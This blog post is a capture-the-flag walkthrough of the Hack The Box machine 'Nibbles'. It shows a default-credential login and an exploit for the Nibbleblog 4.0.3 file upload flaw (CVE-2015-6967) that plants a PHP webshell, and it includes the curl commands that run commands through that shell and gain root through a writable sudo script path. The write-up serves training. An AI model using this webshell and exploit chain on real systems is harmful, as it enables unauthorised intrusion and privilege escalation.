Post

Nibbles

Nibbleblog 4.0.3 was running with default credentials and an authenticated unrestricted file upload vulnerability (CVE-2015-6967) in the My Image plugin allowed uploading a PHP webshell that gave code execution as nibbler.

Nibbles

Overview

Nibbles is an easy-difficulty Linux machine running Nibbleblog 4.0.3. The attack begins by finding a hidden /nibbleblog/ path leaked in an HTML comment, logging in with default credentials (admin:nibbles), and exploiting CVE-2015-6967 — an authenticated unrestricted file upload in the My Image plugin — to land a PHP webshell as nibbler. Privilege escalation abuses a sudo rule that grants passwordless execution of a script located inside a path the user controls, enabling instant root by creating and running a malicious script.

Machine Matrix

Enumeration Real-Life CVE Custom Exploitation CTF-like

High Real-Life score reflects that default credentials combined with an unpatched authenticated file upload (CVE-2015-6967) are a realistic production finding, while the CTF-like axis is elevated by the HTML comment path leak and the contrived sudo rule targeting a nonexistent user-owned directory.

Recon

PortServiceNotes
22/tcpOpenSSHLinux SSH
80/tcpApache httpdHomepage with hidden comment
1
2
nmap -p- --min-rate=1000 -T4 -Pn 10.10.10.X
nmap -p22,80 -sC -sV -Pn 10.10.10.X

Port 80 serves a plain Apache page with no visible links, but the HTML source contains a comment pointing to /nibbleblog/ — the only non-obvious entry point on this box.

Enumeration

Reading the homepage source reveals the hidden path:

1
curl -s http://10.10.10.X/ | grep -i "<!--"

The response contains <!-- /nibbleblog/ directory. Nothing interesting here! -->. Browsing to /nibbleblog/ confirms Nibbleblog 4.0.3 is running and its admin panel is accessible at /nibbleblog/admin.php.

Testing the admin panel with hard-coded default credentials succeeds immediately:

1
2
3
curl -s -c /tmp/nibbles_c.txt -X POST \
  "http://10.10.10.X/nibbleblog/admin.php" \
  -d "username=admin&password=nibbles" -L -o /dev/null -w "%{http_code}"

A 200 response with admin panel content confirms access. The username admin and password nibbles (matching the application name) were never changed from the install defaults.

Foothold

With an authenticated session, the My Image plugin accepts file uploads. CVE-2015-6967 documents that Nibbleblog 4.0.3 validates only the Content-Type HTTP header rather than the actual file content, allowing a PHP file to be uploaded and executed from a predictable web-accessible path.

Create the PHP webshell:

1
echo '<?php system($_REQUEST["cmd"]); ?>' > /tmp/nibbles_shell.php

Upload it through the My Image plugin endpoint, spoofing the content type:

1
2
3
curl -s -b /tmp/nibbles_c.txt -X POST \
  -F "image=@/tmp/nibbles_shell.php;filename=image.php;type=image/png" \
  "http://10.10.10.X/nibbleblog/admin.php?controller=plugins&action=config&plugin=my_image"

Confirm remote code execution by calling the uploaded file:

1
curl -s "http://10.10.10.X/nibbleblog/content/private/plugins/my_image/image.php?cmd=id"

The response returns uid=1001(nibbler) — code execution as nibbler.

User flag

1
2
curl -s "http://10.10.10.X/nibbleblog/content/private/plugins/my_image/image.php" \
  --get --data-urlencode "cmd=cat /home/nibbler/user.txt"
1
cat /home/nibbler/user.txt   # HTB{...}

Foothold landed directly as nibbler who owns user.txt — no lateral movement needed.

Privilege Escalation

Check sudo rights through the webshell:

1
2
curl -s "http://10.10.10.X/nibbleblog/content/private/plugins/my_image/image.php" \
  --get --data-urlencode "cmd=sudo -l"

The response shows: (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh

Verify the target path does not exist:

1
2
curl -s "http://10.10.10.X/nibbleblog/content/private/plugins/my_image/image.php" \
  --get --data-urlencode "cmd=ls /home/nibbler/personal/ 2>&1"

Output: ls: cannot access '/home/nibbler/personal/': No such file or directory

Because the path lives inside nibbler’s home directory, this user has full control over it. This is a privilege mismanagement flaw combined with insecure file permissions — the sudoers rule grants root execution of whatever the user writes at that location. Create the directory, write a malicious script, and run it:

1
2
3
curl -s "http://10.10.10.X/nibbleblog/content/private/plugins/my_image/image.php" \
  --get --data-urlencode \
  "cmd=mkdir -p /home/nibbler/personal/stuff && printf '#!/bin/bash\ncp /root/root.txt /tmp/r.txt && chmod 777 /tmp/r.txt\n' > /home/nibbler/personal/stuff/monitor.sh && chmod +x /home/nibbler/personal/stuff/monitor.sh && sudo /home/nibbler/personal/stuff/monitor.sh"

Read the root flag now world-readable at /tmp/r.txt:

1
2
curl -s "http://10.10.10.X/nibbleblog/content/private/plugins/my_image/image.php" \
  --get --data-urlencode "cmd=cat /tmp/r.txt"

Root flag

1
cat /root/root.txt   # HTB{...}

Full compromise achieved — root-level code execution confirmed via the misconfigured sudo rule pointing to a user-controlled path.

This post is licensed under CC BY 4.0 by the author.